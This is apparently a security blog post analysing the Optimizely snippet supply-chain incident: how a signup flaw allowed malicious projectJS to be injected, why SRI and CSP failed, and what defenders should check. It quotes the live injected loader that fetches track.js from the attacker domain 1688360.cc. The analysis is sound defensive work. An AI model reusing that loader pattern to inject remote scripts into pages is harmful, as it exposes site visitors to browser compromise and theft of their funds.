I have added an A/B testing snippet to a page more than once without reading what it does after it loads. You paste the script tag, the marketing team gets its experiments, and the thing becomes part of the page’s trust boundary without anyone writing that down. The Optimizely incident on 16 November is what that shortcut looks like when someone else finds it first.
The short version: malicious JavaScript was served to visitors of 178 organizations through Optimizely Web Experimentation, on sites including Zoom, the BBC, CNN, Salesforce, GitLab, HSBC, Equifax, and Optimizely’s own. The code came from cdn.optimizely.com, over Optimizely’s certificate, from a host every affected site had already allowlisted. Nobody breached the 178 companies. One attacker got a write primitive inside a vendor’s per-customer configuration and used it 188 times.
🧪 What the Snippet Actually Is
Optimizely Web works by having each customer include a script from the vendor’s CDN, something like https://cdn.optimizely.com/js/6395285578973184.js. That file is generated per project. It carries Optimizely’s own runtime, the customer’s experiment definitions, and an optional field called Project JavaScript (projectJS) that the customer writes in the dashboard and that runs on every page.
Optimizely’s docs are explicit that the snippet recompiles on its own: it “automatically updates every time you create, modify, or archive any asset or setting compiled into the snippet.” So the file at that URL is not a release artifact. It is a live view of a database row, rebuilt whenever anyone with account access touches a setting.
That design decision is the incident. If a vendor’s build output is a projection of mutable per-tenant state, then write access to that state is equivalent to a deploy to every tenant’s production origin. The attacker did not need a foothold in a build system. They needed a write into a form field.
The injected code was small. Report URI published the version added to Zoom’s snippet:
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
Three loader variants showed up. Most snippets pointed at 1688360[.]cc/track.js directly. One hid the hostname in base64 behind atob() so a plain text search for the domain would miss it. A third carried a full copy of the payload inline, so blocking the remote host would not stop it. That last variant is the one that makes domain blocking an incomplete answer, and Hudson Rock flagged the same thing.
🚪 The Entry Point Was Registration
Optimizely’s own account of the root cause is one sentence, given to BleepingComputer: an unauthorized party “exploited a vulnerability in the Experimentation account signup flow” and used it to add malicious JavaScript to some customer projects. The company said it blocked the vulnerable path, removed the injected code, ended active sessions, revoked tokens, reset access for affected accounts, blocked code delivery in Cloudflare, and notified customers.
What the vendor has not disclosed matters as much as what it did. Optimizely’s status notice, posted at 01:02 UTC on 17 November, does not say how the signup flaw worked, how many projects were modified, how long the flaw existed, or whether the attacker retained access after the first cleanup. There is no CVE and no advisory with a technical description as of this writing.
The absence of a per-project containment boundary is the structural problem. One write primitive reached 188 separate files belonging to 178 organizations. Whatever authorization check failed at registration did not merely let an attacker into their own tenant, it let them into a shared execution path. Report URI counted 188 infected snippets out of 1,611 it checked, mostly from its own crawl data, and said the real number is probably higher because it could only inspect the snippets it found in time. StepSecurity’s independent count is 186 sites, so the trackers disagree on the total but not the scale.
The clearest evidence that access outlasted the first response: Smartsheet’s snippet was cleaned and then re-infected with a concealed version, according to Report URI. A remediation that removes the payload before revoking the write path just moves the clock.
🕵️ The Controls That Did Not Hold
Subresource Integrity is the first answer most people reach for, and it cannot work here. SRI pins a script to a hash. This file is designed to change whenever a marketer edits a setting, so there is no stable hash to pin. That is not a configuration mistake on the customer side, it is an architectural conflict between integrity checking and per-tenant dynamic compilation. If your vendor’s file must change on their schedule, SRI is off the table and you should know that before you write it into a security questionnaire answer.
Content Security Policy is more interesting, because it partly worked and mostly didn’t. A script-src host allowlist for cdn.optimizely.com did nothing, since that is exactly where the loader came from. A connect-src allowlist would have blocked exfiltration to 1688360[.]cc, and StepSecurity reports that two affected sites did block the payload download this way, though it could not verify that independently.
Then there is the trap. A policy built on strict-dynamic with a nonce does not help, because strict-dynamic extends trust transitively: any script a trusted script inserts inherits the trust. The Optimizely snippet was the trusted script. It inserted the attacker’s script. The policy did what it was told.
Worth separating from the headline too: Report URI found this through change detection, not through a blocklist. Its monitoring pipeline flagged an unexpected modification to a known script at 15:06:23 UTC on 16 November, which is what started the investigation. The payload server responded with cache-control: max-age=15, so an operator could swap the file within seconds, and StepSecurity measured four revisions of track.js between 16:02 and 18:11 UTC, growing from 28,877 to 30,430 bytes. Two published hashes exist for the same file on the same day. Matching on one hash would have missed everything after the first edit.
⏱️ A Clean Fetch Today Proves Nothing About Yesterday
The operational lesson is the one that will outlive this incident. A snippet that returns clean right now tells you about right now. It says nothing about the roughly 17 hours between the first injection at 04:21 UTC and the point where only one of 188 infected files remained at 21:52 UTC.
So the remediation advice that holds up is forensic. Fetch every snippet you serve, search it for the payload host and for atob(, and record the Last-Modified header. Search your logs and CSP reports back to the start of the window for failed or blocked requests to the payload host, because a blocked request is evidence the loader was present on that page. Ask the vendor which project IDs were modified, when, and through what path. The absence of a payload in the current file is the weakest possible form of evidence.
Two scope points worth keeping. Being on the list means your site served the script, not that your customer data was taken. And the iOS side needs a caveat: Report URI identified the second stage as the Coruna and DarkSword exploit kits, which target iOS 13.0 through 17.2.1 and iOS 18.4 through 18.7 respectively, but Hudson Rock’s assessment is that the evidence establishes a link to exploit-kit delivery infrastructure and not a successful device compromise.
The damage that did land is modest in dollar terms and ugly in mechanism. Report URI put roughly $7,040 in the attacker’s wallets as of 19:25 UTC, StepSecurity about $6,600 across the same addresses, with two of them active before the injections began, so the chain does not show which transfers came from victims. The clipper only swaps an address that passes its chain’s checksum and sits near a word like wallet, deposit, or send, which means the replacement is valid and a wallet will accept it. It also hooks the copy event, so an address copied from an affected page can already be wrong before it is pasted. Check the address on the hardware wallet’s screen, not against what you copied.
🧠 Final Thoughts
The supply chain framing is accurate and slightly misleading. Nothing in the delivery path was compromised in an interesting way: the CDN was up, the certificate was valid, the cache worked, and every origin served exactly what the vendor told it to serve. The compromise was that a registration form had write access to a field whose contents become executable code on 178 production origins.
That reframes the review question. It isn’t “do we trust this vendor.” It’s “which of our vendors let an account, including a newly created one, write code into something our pages execute, and what stands between that write and our users.” Any experimentation, personalization, consent, chat, or tag management platform is a candidate, because the entire product category is built on injecting JavaScript into pages you control.
Three things I would do this week, in order of value per hour. Inventory the third-party scripts on your highest-traffic pages and delete the ones nobody can justify, since an unused tag is pure attack surface. Check whether your CSP uses strict-dynamic while also loading third-party scripts, because that combination silently grants trust to whatever those scripts insert. Then baseline the current contents and hashes of every third-party script you serve, so that the next unexpected change produces an alert instead of a discovery.
Detection is not a consolation prize here. For a file that is supposed to change, noticing that it changed is the control.
Thanks for reading.